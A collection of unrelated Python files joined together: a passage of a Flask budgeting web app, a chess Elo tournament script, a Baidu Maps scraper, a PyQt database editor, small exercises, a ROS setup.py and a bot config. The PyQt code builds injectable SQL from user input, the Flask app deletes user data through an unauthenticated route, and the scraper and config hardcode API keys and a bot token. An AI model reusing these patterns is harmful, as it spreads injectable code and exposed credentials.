open('static/language.json') as f: language_data = json.load(f) title_caption=language_data[language]['factory_reset_page']['title_caption'].encode('utf-8') note_caption=language_data[language]['factory_reset_page']['note_caption'].encode('utf-8') step1_caption=language_data[language]['factory_reset_page']['step1_caption'].encode('utf-8') step2_caption=language_data[language]['factory_reset_page']['step2_caption'].encode('utf-8') reset_caption=language_data[language]['factory_reset_page']['reset_caption'].encode('utf-8') back_caption=language_data[language]['factory_reset_page']['back_caption'].encode('utf-8') back = """ function back(user_id) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/GeneralSettingPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=FactoryResetPage'); }; """ back2 = """ function back2(user_id, user_email, user_login) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var d = new Date(); var today =d.getFullYear()+'-'+addZero(d.getMonth()+1)+'-'+addZero(d.getDate()); var xhr = new XMLHttpRequest(); xhr.open('POST', '/HomePage/'+user_id+'/'+today, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send('sender_id=WelcomePage'+'&user_email='+user_email+'&user_login='+user_login); }; """ reset = """ function reset(user_id, user_email, user_login) { var confirm = document.getElementById('confirm'); if (confirm.value.toUpperCase() == "CONFIRM") { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var xhr = new XMLHttpRequest(); xhr.open('POST', '/ResetConfirmPage/'+user_id, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { back2(user_id, user_email, user_login); }; xhr.send(); } }; """ begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" history_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } """ mid_html = """ <style> /*------ history style ---------*/ {history_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <div> <label style="color: orange; font-weight:400">{note_caption}</label> </div> <br> <div> <label style="color: white; font-weight:300">{step1_caption}</label> <input type="text" id="confirm" style="color: white; text-transform:uppercase; border: 1px solid tomato; width:100%; height: 35px; background-color:SLATEGRAY; -webkit-appearance: none;"> </div> <br> <div> <label style="color: white; font-weight:300">{step2_caption}</label> </div> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="reset" type="button" onclick="reset('{user_id}','{user_email}','{user_login}')"> <label class="save-class" for="reset"> <i class="fa fa-refresh" style="color:LIME"></i>&nbsp {reset_caption} </label> </div> </div> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{user_id}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {back} {back2} {reset} </script> """.format(user_id=user_id, user_email=user_email, user_login=user_login, history_style=history_style, back=back, back2=back2, reset=reset, title_caption=title_caption, note_caption=note_caption, step1_caption=step1_caption, step2_caption=step2_caption, reset_caption=reset_caption, back_caption=back_caption) return begin_html + mid_html + end_html @app.route('/ResetConfirmPage/<user_id>', methods=['POST']) def ResetConfirmPage(user_id): print "ResetConfirmPage:user_id:"+user_id r.delete(user_id) return "" @app.route('/SelectJarPage/<user_id>', methods=['POST']) def SelectJarPage(user_id): sender_id = request.form['sender_id'] jar = request.form['jar'] date = request.form['date'] print "SelectJarPage:user_id:"+user_id print "SelectJarPage:sender_id:"+sender_id print "SelectJarPage:jar:"+jar print "SelectJarPage:date:"+date user_dict = r.hmget(user_id, 'nec_income', 'edu_income', 'lts_income', 'ply_income', 'ffa_income', 'giv_income', 'nec_expense', 'edu_expense', 'lts_expense', 'ply_expense', 'ffa_expense', 'giv_expense', 'nec_prebal', 'edu_prebal', 'lts_prebal', 'ply_prebal', 'ffa_prebal', 'giv_prebal', 'currency', 'income_amt', 'expense_amt', 'pre_balance', 'language') currency = user_dict[18] language = user_dict[22] #load language json file with open('static/language.json') as f: language_data = json.load(f) #load currency json file with open('static/currency.json') as f: currency_data = json.load(f) title_caption=language_data[language]['select_jar_page']['title_caption'].encode('utf-8') all_caption=language_data[language]['select_jar_page']['all_caption'].encode('utf-8') nec_caption=language_data[language]['select_jar_page']['nec_caption'].encode('utf-8') edu_caption=language_data[language]['select_jar_page']['edu_caption'].encode('utf-8') lts_caption=language_data[language]['select_jar_page']['lts_caption'].encode('utf-8') ply_caption=language_data[language]['select_jar_page']['ply_caption'].encode('utf-8') ffa_caption=language_data[language]['select_jar_page']['ffa_caption'].encode('utf-8') giv_caption=language_data[language]['select_jar_page']['giv_caption'].encode('utf-8') back_caption=language_data[language]['select_jar_page']['back_caption'].encode('utf-8') for i in range(0,len(currency_data['currency'])): currency_code = currency_data['currency'][i]['currency_code'] if (currency == currency_code): currency_sign = currency_data['currency'][i]['currency_sign'] break income_amt = int(float(user_dict[19])) expense_amt = int(float(user_dict[20])) pre_balance = int(float(user_dict[21])) nec_income = int(float(user_dict[0])) edu_income = int(float(user_dict[1])) lts_income = int(float(user_dict[2])) ply_income = int(float(user_dict[3])) ffa_income = int(float(user_dict[4])) giv_income = int(float(user_dict[5])) nec_expense = int(float(user_dict[6])) edu_expense = int(float(user_dict[7])) lts_expense = int(float(user_dict[8])) ply_expense = int(float(user_dict[9])) ffa_expense = int(float(user_dict[10])) giv_expense = int(float(user_dict[11])) nec_prebal = int(float(user_dict[12])) edu_prebal = int(float(user_dict[13])) lts_prebal = int(float(user_dict[14])) ply_prebal = int(float(user_dict[15])) ffa_prebal = int(float(user_dict[16])) giv_prebal = int(float(user_dict[17])) balance_amt = income_amt - expense_amt + pre_balance nec_balance = nec_income - nec_expense + nec_prebal edu_balance = edu_income - edu_expense + edu_prebal lts_balance = lts_income - lts_expense + lts_prebal ply_balance = ply_income - ply_expense + ply_prebal ffa_balance = ffa_income - ffa_expense + ffa_prebal giv_balance = giv_income - giv_expense + giv_prebal back = """ function back(sender_id,user_id,jar,date) { var waiting = document.getElementById('waiting'); waiting.style.display="block"; var url = '/ReportPage/'+user_id+'/'+jar+'/'+date if (sender_id == 'HistoryPage') { url = '/HistoryPage/'+user_id+'/'+jar+'/'+date } var xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function() { document.open(); document.write(xhr.responseText); document.close(); }; xhr.send("sender_id=SelectJarPage"); }; """ jarFunction = """ function jarFunction(sender_id,user_id,jar,date) { back(sender_id,user_id,jar,date); }; """ begin_html = """ <!DOCTYPE html> <html lang="en"> <head> <title>MoneyOi</title> <meta charset="utf-8"> <meta name="description" content="MoneyOi Cloud Native Application"> <meta name="author" content="moneyoi.herokuapp.com"> <meta name="keywords" content="moneyoi,free,6,six,jar,jars,app,money,method,management,cloud,native,application"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700"> <link rel="shortcut icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="icon" href="/static/favicon.ico" type="image/x-icon"> <link rel="apple-touch-icon" sizes="57x57" href="/static/apple-icon-57x57.png"> <link rel="apple-touch-icon" sizes="60x60" href="/static/apple-icon-60x60.png"> <link rel="apple-touch-icon" sizes="72x72" href="/static/apple-icon-72x72.png"> <link rel="apple-touch-icon" sizes="76x76" href="/static/apple-icon-76x76.png"> <link rel="apple-touch-icon" sizes="114x114" href="/static/apple-icon-114x114.png"> <link rel="apple-touch-icon" sizes="120x120" href="/static/apple-icon-120x120.png"> <link rel="apple-touch-icon" sizes="144x144" href="/static/apple-icon-144x144.png"> <link rel="apple-touch-icon" sizes="152x152" href="/static/apple-icon-152x152.png"> <link rel="apple-touch-icon" sizes="180x180" href="/static/apple-icon-180x180.png"> <link rel="icon" type="image/png" sizes="192x192" href="/static/android-icon-192x192.png"> <link rel="icon" type="image/png" sizes="32x32" href="/static/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="96x96" href="/static/favicon-96x96.png"> <link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png"> <link rel="manifest" href="/static/manifest.json"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="msapplication-TileImage" content="/static/ms-icon-144x144.png"> <meta name="msapplication-square70x70logo" content="/static/ms-icon-70x70.png"> <meta name="msapplication-square150x150logo" content="/static/ms-icon-150x150.png"> <meta name="msapplication-square310x310logo" content="/static/ms-icon-310x310.png"> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <![endif]--> </head> <body style="font-family:Roboto; background-color:SLATEGRAY" ontouchstart=""> """ end_html = "</body></html>" report_style = """ html { height: 100%; } body { position: relative; min-height: 100%; -webkit-user-select: none; -webkit-touch-callout: none; } input[type="button"] { display: none; } .waiting-class { display:none; margin: auto; text-align: center; width:100%; height:100%; top:0; position:absolute; padding-top: 50%; background: rgba(0, 0, 0, 0.3) } .save-class { text-align: center; font-weight: 300; background-color: DARKSLATEGRAY; height:35px; width: 100%; padding-top:7px; cursor: pointer; } .save-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } .report-class { position: relative; width:100%; height:210px; } .sixjars-label-class { display: block; color: LIGHTGRAY; width: 100%; height: 35px; font-weight:400; padding: 6px 0px; cursor:pointer; } .sixjars-label-class:active { color:DARKSLATEGRAY; background-color: LIGHTGRAY; } """ mid_html = """ <style> /*------ history style ---------*/ {report_style} </style> <div class="container"> <div style="background-color:DARKSLATEGRAY"> <h4> <p class="text-center" style="color:white;">{title_caption}</p> </h4> </div> <p></p> <div class="sixjars-class" style="background-color:DARKSLATEGRAY"> <input id="all-submit" type="button" onclick="jarFunction('{sender_id}','{user_id}','All','{date}')"> <input id="nec-submit" type="button" onclick="jarFunction('{sender_id}','{user_id}','Necessities','{date}')"> <input id="edu-submit" type="button" onclick="jarFunction('{sender_id}','{user_id}','Education','{date}')"> <input id="lts-submit" type="button" onclick="jarFunction('{sender_id}','{user_id}','Saving','{date}')"> <input id="ply-submit" type="button" onclick="jarFunction('{sender_id}','{user_id}','Play','{date}')"> <input id="ffa-submit" type="button" onclick="jarFunction('{sender_id}','{user_id}','Investment','{date}')"> <input id="giv-submit" type="button" onclick="jarFunction('{sender_id}','{user_id}','Give','{date}')"> <label class="sixjars-label-class" for="all-submit"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/all.png" style="width:24px;height:24px;">&nbsp {all_caption}</p> </div> <div class="col-xs-6" style="padding-top:4px;"> <p class="text-right" style="color:white;">{balance_amt} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class" for="nec-submit"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/nec.png" style="width:24px;height:24px;">&nbsp {nec_caption}</p> </div> <div class="col-xs-6" style="padding-top:4px;"> <p class="text-right" style="color:white;">{nec_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class" for="edu-submit"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/edu.png" style="width:24px;height:24px;">&nbsp {edu_caption}</p> </div> <div class="col-xs-6" style="padding-top:4px;"> <p class="text-right" style="color:white;">{edu_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class" for="lts-submit"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/lts.png" style="width:24px;height:24px;">&nbsp {lts_caption}</p> </div> <div class="col-xs-6" style="padding-top:4px;"> <p class="text-right" style="color:white;">{lts_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class" for="ply-submit"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/ply.png" style="width:24px;height:24px;">&nbsp {ply_caption}</p> </div> <div class="col-xs-6" style="padding-top:4px;"> <p class="text-right" style="color:white;">{ply_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class" for="ffa-submit"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/ffa.png" style="width:24px;height:24px;">&nbsp {ffa_caption}</p> </div> <div class="col-xs-6" style="padding-top:4px;"> <p class="text-right" style="color:white;">{ffa_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> <label class="sixjars-label-class" for="giv-submit"> <div class="col-xs-6" style="padding-top:2px; padding-left:7px; font-weight:300;"> <p class="text-left"><img src="/static/giv.png" style="width:24px;height:24px;">&nbsp {giv_caption}</p> </div> <div class="col-xs-6" style="padding-top:4px;"> <p class="text-right" style="color:white;">{giv_balance} {currency_sign} &nbsp <i class="fa fa-angle-right"></i></p> </div> </label> <div id="separator" style="background-color:SLATEGRAY; width:100%; height:1px;"></div> </div> <p></p> <div class="button-class" style="height:40px; color: LIGHTGRAY;"> <div class="col-xs-12" style="height:100%; padding: 0"> <input id="back" type="button" onclick="back('{sender_id}','{user_id}','{jar}','{date}')"> <label class="save-class" for="back"> <i class="fa fa-angle-left" style="color:LIME;"></i>&nbsp {back_caption} </label> </div> </div> </div> <div id="waiting" class="waiting-class"> <i style="color:LIME" class="fa fa-spinner fa-pulse fa-3x fa-fw"></i> </div> <script> {back} {jarFunction} </script> """.format(user_id=user_id, report_style=report_style, back=back, jar=jar, date=date, sender_id=sender_id, balance_amt="{:,}".format(balance_amt), nec_balance="{:,}".format(nec_balance), edu_balance="{:,}".format(edu_balance), lts_balance="{:,}".format(lts_balance), ply_balance="{:,}".format(ply_balance), ffa_balance="{:,}".format(ffa_balance), giv_balance="{:,}".format(giv_balance), jarFunction=jarFunction, currency_sign=currency_sign, title_caption=title_caption, all_caption=all_caption, nec_caption=nec_caption, edu_caption=edu_caption, lts_caption=lts_caption, ply_caption=ply_caption, ffa_caption=ffa_caption, giv_caption=giv_caption, back_caption=back_caption) return begin_html + mid_html + end_html if __name__ == "__main__": app.run(debug=False, host='0.0.0.0', port=int(os.getenv('PORT', '5000')))
import main from algos import strategies_list import random matches_per_pair = 50 scores = {name: 0 for name in strategies_list} elo_ratings = {name: 1400 for name in strategies_list} elo_k = 24 # random.seed(1) def update_elo(player1: str, player2: str, p1_won: bool): rate_diff = elo_ratings[player2] - elo_ratings[player1] p1_win_prob = 1 / (1 + 10**(rate_diff/400)) p1_gain = int(elo_k*(p1_won - p1_win_prob)) elo_ratings[player1] += p1_gain elo_ratings[player2] -= p1_gain for wname, wway in strategies_list.items(): for bname, bway in strategies_list.items(): print(f"{wname} vs {bname}") for _ in range(matches_per_pair): final_board = main.main(wway, bway, False) if final_board.result() == '0-1': scores[bname] += 2 update_elo(wname, bname, 0) elif final_board.result() == '1-0': scores[wname] += 2 update_elo(wname, bname, 1) else: scores[wname] += 1 scores[bname] += 1 update_elo(wname, bname, 0.5) print() print("Win scores") for name, score in sorted(scores.items(), key=lambda tup: tup[1]): print(name, score) print() print("Elo ratings") for name, elo in sorted(elo_ratings.items(), key=lambda tup: tup[1]): print(name, elo)
import requests import json import time def get_groundinfo(): url='http://api.map.baidu.com/place/v2/search?query=商圈&region=福州&output=json&page_size=100&scope=2&ak=dntnIGs3ueWbi8TGkGYz0l8j1p6c9Yc1' # data = { # 'query' : '商圈', # 'output' : 'JSON', # 'page_size' : '20', # 'scope' : '2', # 'ak' : 'dntnIGs3ueWbi8TGkGYz0l8j1p6c9Yc1', # } # json_data = {'shop_list':[]} #print(type(res)) #res = json.dumps(res,indent=4,ensure_ascii=False) res = requests.get(url) # print(res) # res = res.text res = res.json() print(res) json_data = json.dumps(res,indent=4,ensure_ascii=False) fileObject = open('商圈.json', 'w', encoding='utf-8') fileObject.write(json_data) fileObject.close() print(res) # get_groundinfo() def get_shopinfo(): with open("商圈.json",'r',encoding='utf-8') as f: load_dict = json.load(f) fname = "" location = '' s = load_dict['results'] for item in s: time.sleep(3) fname = item['name'] + '服饰' + '.json' location = str(item['location']['lat']) + ',' + str(item['location']['lng']) url = "http://api.map.baidu.com/place/v2/search" #url='http://api.map.baidu.com/place/v2/search?query=奶茶&location=26.0566457738,119.1983916599&scope=2&page_num=2&radius=9000&output=json&page_size=100&ak=dntnIGs3ueWbi8TGkGYz0l8j1p6c9Yc1' data = { 'query':'服饰', 'location' : '26.116406394259,119.31224373667', 'page_num' : '1', 'output' : 'json', 'page_size' : '20', 'scope' : '2', 'ak' : 'zGMqYhaaRzyYGMIzETY457hRGz4xdKSw', 'radius' : '500' } data['location'] = location json_data = {'shop_list':[]} #print(type(res)) for i in range(5): time.sleep(3) #res = json.dumps(res,indent=4,ensure_ascii=False) print(data['page_num']) res = requests.get(url=url,params=data) #res = res.json() res= res.json() print(type(res)) print(res) json_data['shop_list'].append(res['results']) #print(res['resultes']) data['page_num'] = str(int(data['page_num']) + 1) json_data = json.dumps(json_data,indent=4,ensure_ascii=False) fileObject = open(fname, 'w', encoding='utf-8') fileObject.write(json_data) fileObject.close() print(res) get_shopinfo()
#/###################/# # Import modules # #import import ShareYourSystem as SYS #define MyLifer=SYS.LiferClass( ).lif( _StationaryRateFloat=10., _MeanToRateBool=False ) #print print('MyLifer is') SYS._print(MyLifer)
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'create_version.ui' # # Created by: PyQt5 UI code generator 5.15.1 # # WARNING: Any manual changes made to this file will be lost when pyuic5 is # run again. Do not edit this file unless you know what you are doing. from PyQt5 import QtCore, QtGui, QtWidgets import MySQLdb as mdb class Ui_EditInfoWindow(object): def setupUi(self, EditInfoWindow): EditInfoWindow.setObjectName("EditInfoWindow") EditInfoWindow.setFixedSize(575, 895) self.centralwidget = QtWidgets.QWidget(EditInfoWindow) self.centralwidget.setObjectName("centralwidget") self.label = QtWidgets.QLabel(self.centralwidget) self.label.setGeometry(QtCore.QRect(40, 10, 591, 51)) self.label.setObjectName("label") self.line = QtWidgets.QFrame(self.centralwidget) self.line.setGeometry(QtCore.QRect(0, 80, 1161, 16)) self.line.setFrameShape(QtWidgets.QFrame.HLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName("line") self.label_2 = QtWidgets.QLabel(self.centralwidget) self.label_2.setGeometry(QtCore.QRect(30, 190, 481, 51)) self.label_2.setObjectName("label_2") self.label_4 = QtWidgets.QLabel(self.centralwidget) self.label_4.setGeometry(QtCore.QRect(30, 300, 481, 51)) self.label_4.setObjectName("label_4") font = QtGui.QFont() font.setPointSize(14) self.lineEdit = QtWidgets.QLineEdit(self.centralwidget) self.lineEdit.setGeometry(QtCore.QRect(30, 250, 481, 41)) self.lineEdit.setObjectName("lineEdit") self.lineEdit.setFont(font) self.textEdit = QtWidgets.QTextEdit(self.centralwidget) self.textEdit.setGeometry(QtCore.QRect(30, 360, 481, 101)) self.textEdit.setObjectName("textEdit") self.textEdit.setFont(font) self.label_5 = QtWidgets.QLabel(self.centralwidget) self.label_5.setGeometry(QtCore.QRect(30, 470, 481, 51)) self.label_5.setObjectName("label_5") self.label_6 = QtWidgets.QLabel(self.centralwidget) self.label_6.setGeometry(QtCore.QRect(30, 510, 481, 51)) self.label_6.setObjectName("label_6") self.textEdit_2 = QtWidgets.QTextEdit(self.centralwidget) self.textEdit_2.setGeometry(QtCore.QRect(30, 570, 481, 211)) self.textEdit_2.setObjectName("textEdit_2") self.textEdit_2.setFont(font) self.saveBtn = QtWidgets.QPushButton(self.centralwidget) self.saveBtn.setGeometry(QtCore.QRect(230, 810, 89, 25)) self.saveBtn.setFont(font) self.saveBtn.setObjectName("saveBtn") self.label_3 = QtWidgets.QLabel(self.centralwidget) self.label_3.setGeometry(QtCore.QRect(170, 90, 481, 51)) self.label_3.setObjectName("label_3") self.label_3.setFont(font) self.label_7 = QtWidgets.QLabel(self.centralwidget) self.label_7.setGeometry(QtCore.QRect(170, 130, 481, 51)) self.label_7.setObjectName("label_7") self.label_7.setFont(font) EditInfoWindow.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(EditInfoWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 553, 22)) self.menubar.setObjectName("menubar") self.menuInteractive_System_Modelling = QtWidgets.QMenu(self.menubar) self.menuInteractive_System_Modelling.setObjectName("menuInteractive_System_Modelling") EditInfoWindow.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(EditInfoWindow) self.statusbar.setObjectName("statusbar") EditInfoWindow.setStatusBar(self.statusbar) self.menubar.addAction(self.menuInteractive_System_Modelling.menuAction()) self.retranslateUi(EditInfoWindow) QtCore.QMetaObject.connectSlotsByName(EditInfoWindow) self.saveBtn.clicked.connect(self.edit_version) self.saveBtn.clicked.connect(EditInfoWindow.close) def edit_version(self): db = mdb.connect('127.0.0.1', 'root', '', 'interSys') with db: cur = db.cursor() if self.label_7.text() == '': cur.execute("UPDATE projects SET name = '%s', short_descr = '%s', long_descr = '%s' WHERE name = '%s'" % (''.join(self.lineEdit.text()), ''.join(self.textEdit.toPlainText()), ''.join(self.textEdit_2.toPlainText()), ''.join(self.origin_name))) cur.execute("UPDATE versions SET project_name = '%s' WHERE project_name = '%s'" % (''.join(self.lineEdit.text()), ''.join(self.origin_name))) else: cur.execute("UPDATE versions SET name = '%s', short_descr = '%s', long_descr = '%s' WHERE name = '%s'" % (''.join(self.lineEdit.text()), ''.join(self.textEdit.toPlainText()), ''.join(self.textEdit_2.toPlainText()), ''.join(self.origin_name))) #cur_name = 'Project: ' + self.lineEdit.text() #cur_vers = 'Version #1.0: New ' db.commit() QtWidgets.QMessageBox.about(self.centralwidget,'Connection', 'Data Edited Successfully') def retranslateUi(self, EditInfoWindow): _translate = QtCore.QCoreApplication.translate EditInfoWindow.setWindowTitle(_translate("EditInfoWindow", "MainWindow")) self.label.setText(_translate("EditInfoWindow", "<html><head/><body><p><span style=\" font-size:28pt;\">Edit Information</span></p></body></html>")) self.label_2.setText(_translate("EditInfoWindow", "<html><head/><body><p><span style=\" font-size:20pt;\">Name</span></p></body></html>")) self.label_4.setText(_translate("EditInfoWindow", "<html><head/><body><p><span style=\" font-size:20pt;\">Short Description</span></p></body></html>")) self.label_5.setText(_translate("EditInfoWindow", "<html><head/><body><p><span style=\" font-size:20pt;\">Long Description</span></p></body></html>")) self.label_6.setText(_translate("EditInfoWindow", "<html><head/><body><p><span style=\" font-size:16pt; color:#888a85;\">Optional</span></p></body></html>")) self.saveBtn.setText(_translate("EditInfoWindow", "Save")) self.label_3.setText(_translate("EditInfoWindow", "<html><head/><body><p><span style=\" font-size:20pt;\">Animal-Dog</span></p></body></html>")) self.label_7.setText(_translate("EditInfoWindow", "<html><head/><body><p><span style=\" font-size:20pt; font-style:italic;\">Version #1.1</span></p></body></html>"))
#David Snider #3/10/16 times = int(input()) out = [] for i in range(times): data = input().split() total = 0 for n in data: total += int(n)**2 out.append(total) for i in out: print(i,end=' ')
a = [[], []] # Многомерный список (массив) for i in range(0, 34): a.append([]) for j in range(0, i-1): print(chr(ord('А') + j), end=" ") a[i].append(chr(ord('А') + j)) print("")
class Solution: def searchMatrix(self, matrix: List[List[int]], target: int) -> bool: if not matrix or len(matrix[0]) == 0: return False up, down = 0, len(matrix) - 1 row = -1 while up <= down: mid = up + (down - up) // 2 if matrix[mid][0] <= target <= matrix[mid][-1]: row = mid break elif matrix[mid][0] <= target: up = mid + 1 elif matrix[mid][0] >= target: down = mid - 1 if row == -1: return False else: l, r = 0, len(matrix[row]) while l <= r: mid = l + (r - l) // 2 if matrix[row][mid] == target: return True elif matrix[row][mid] <= target: l = mid + 1 else: r = mid - 1 return False #独立做出来的哦!
from .preprocess import Preprocess from .dataset_manager import DataBase from .generate import Generate from .extract import Extract from .identify import Identify from .compare import Compare
s={1,2,3} print(s) ''' set is not in ordered mode so no index,slicing etc ''' s.update([8,9]) f=frozenset(s) #range normaly for staring from zero we just need to give end limit r = range(1,15,3) for i in r: print(i) b=bytes(s) print(type(b)) #indexing addition modification is not possible byte array print(bytearray(s)) dict={1:"kk",2:"qwer"} v=dict.values() for i in v: print(i) a=dict[1] #assignment lst1 = ["india","france","UK"] lst1.append("USA") del(lst1[3]) lst1.insert(2,"USA") s= {"india","france","UK"} s.add("USA") s.remove("UK")
from setuptools import setup package_name = 'rqt_gui_py' setup( name=package_name, version='1.0.6', package_dir={'': 'src'}, packages=['rqt_gui_py'], data_files=[ ('share/ament_index/resource_index/packages', ['resource/' + package_name]), ('share/' + package_name, ['package.xml']), ('share/' + package_name, ['plugin.xml']) ], install_requires=['setuptools'], zip_safe=False, author='Dirk Thomas', author_email='dthomas@osrfoundation.org', maintainer='Dirk Thomas', maintainer_email='dthomas@osrfoundation.org', keywords=['ROS'], classifiers=[ 'Intended Audience :: Developers', 'License :: OSI Approved :: Apache Software License', 'Programming Language :: Python', 'Topic :: Software Development', ], description=( 'rqt_gui_py enables GUI plugins to use the Python client library for ROS.' ), license='BSD', tests_require=['pytest'], )
#config file bzd_channel_bot #ver_0.1 _TOKEN = 444858825:AAGEH88ZLJQca1rHYqdOpx3s9bK_F0LtSLk string _FATHERid = 264315721 integer _databaseName = fmit string
